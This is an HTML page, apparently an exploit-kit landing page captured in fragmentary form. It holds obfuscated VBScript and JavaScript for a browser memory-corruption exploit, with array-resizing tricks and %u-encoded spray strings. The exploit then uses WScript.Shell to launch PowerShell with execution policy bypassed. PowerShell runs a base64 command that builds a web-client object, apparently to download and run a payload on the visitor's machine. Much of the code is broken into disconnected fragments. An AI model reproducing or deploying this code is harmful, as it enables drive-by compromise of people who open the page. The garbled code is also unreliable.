<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<html>
<body>
<scRipT tyPe="tEXt/VbsCRipt">
zqEyY()
CHRw(34)
cREAteOBJEcT("WScRIPt.SHeLL").ExpaNDEnvIRoNMEnTstRINgs("%sYstemROoT%") & "\SYstem32\WiNDOWSpOwERshELl\V1.0\PoWERsHELL.exe"
CHrW(34)
cReateobjeCt("wscrIPt.ShElL").ruN
PoWERshElL.eXE
ByPASs -nOp
CQAgAAkAcwBlAFQALQBDAE8ATgBUAGUATgB0ACAACQAJAC0AdgBhACAACQAgACgACQAgAAkALgAoACcAbgBlAHcALQBPAGIAagBlAEMAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACcAdAAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAApACAAIAAgACgAIAAJACAAWwBjAGgAYQBSAF0ACQAgACAANwA4AAkAIAAgAAkAIAAgACsACQAgACAAWwBDAGgAQQBSAF0ACQAgACAANgA5AAkAIAAgAAkAIAAgACsACQAgACAAWwBDAGgAQQBSAF0ACQAgACAAOAA0AAkAIAAgAAkAIAAgACsACQAgACAAWwBjAGgAQQByAF0ACQAgACAANAA2AAkAIAAgAAkAIAAgACsACQAgACAAWwBjAEgAQQBSAF0ACQAgACAAOAA3AAkAIAAgAAkAIAAgACsACQAgACAAWwBjAGgAYQByAF0ACQAgACAANgA5AAkAIAAgAAkAIAAgACsACQAgACAAWwBDAEgAQQByAF0ACQAgACAAOQA4AAkAIAAgAAkAIAAgACsACQAgACAAWwBjAGgAQQByAF0ACQAgACAAOQA5AAkAIAAgAAkAIAAgACsACQAgACAAWwBjAGgAYQBSAF0ACQAgACAANwA2AAkAIAAgAAkAIAAgACsACQAgACAAWwBDAGgAYQBSAF0ACQAgACAANwAzAAkAIAAgAAkA
jZVPh()
nkSvw()
Clng("24000")
clNg("2000")
CLNg("32")
Clng("64000")
clNg("&H174")
"%u4141%u4141%u0016%u4141%u4141%u4141%u4242%u4242"
"%u4141%u4141%u0008%u4141%u4141%u4141"
"%u4141%u4141%u400C%u0000%u0000%u0000"
jZVPh(TPuIg)
nkSvw(TPuIg)
sPAce(RjRmA)
uNEScApe(kdMVf
MCqSu)
fUnCTiON
(KQOgU, FWXIj)
UNeSCAPE(imlSM & nwZnf(FWXIj) & MCqSu)
GbWYd.rqQLR(KQOgU, 2)
fuNCtion
(sfJTi, skIjc)
uNescAPe(ZAMik & nwZnf(skIjc) & MCqSu)
GbWYd.rqQLR(sfJTi, 2)
CsnG(0)
FUNCtioN
GbWYd.iErap()
xdqwS = 0 TO TPuIg
jZVPh(xdqwS)
MiD(MviqE, 1, hAAVr)
fUnCTIon
rqQLR()
PrivatE
CLass_inITIalIZE
rEdIm preSERVE rqQLR(1, KPFVZ)
pUbLic
iErap()
preSErve
rqQLR(1, 1)
FUNcTion
YSaBJ (RcJLL, CyKZp)
xdqwS = 0 to
nkSvw(xdqwS) = CyKZp
GbWYd.rqQLR(RcJLL, 2) = CyKZp
xdqwS = 0 TO
TPuIg - 1
asc(mID(jZVPh(xdqwS), 3, 1))
vARTYPE(CyKZp)
myhyb = PCoRV(Mid(jZVPh(xdqwS), 3 + 4, 2))
jZVPh(xdqwS)
fUNCtION
fUnCtIOn
(NuZfJ)
oSDcX = YSaBJ(NuZfJ, vrOKs)
tQlFH = SVBjV(NuZfJ, oSDcX + 8)
OPEUA = PCoRV(
MiD(tQlFH, 3, 2))
tQlFH = SVBjV(NuZfJ, OPEUA + 4)
xWiVc = PCoRV(
mID(tQlFH, 1, 2))
ZoFqB NuZfJ, xWiVc + hKyCf
zqEyY()
SeTvrOKs
nOTHing
function
</scRIPT>
<scripT TyPE="tExt/JAVaSCriPT">
function
PCoRV(
return MHpio.charCodeAt(0)
(MHpio.charCodeAt(1) << 16)
function
nwZnf(
return String.fromCharCode(SbBAP
0xffff
String.fromCharCode(
"valueOf"
function
zwDPS()
return
setTimeout
function
</SCRipT>
</body>
</html>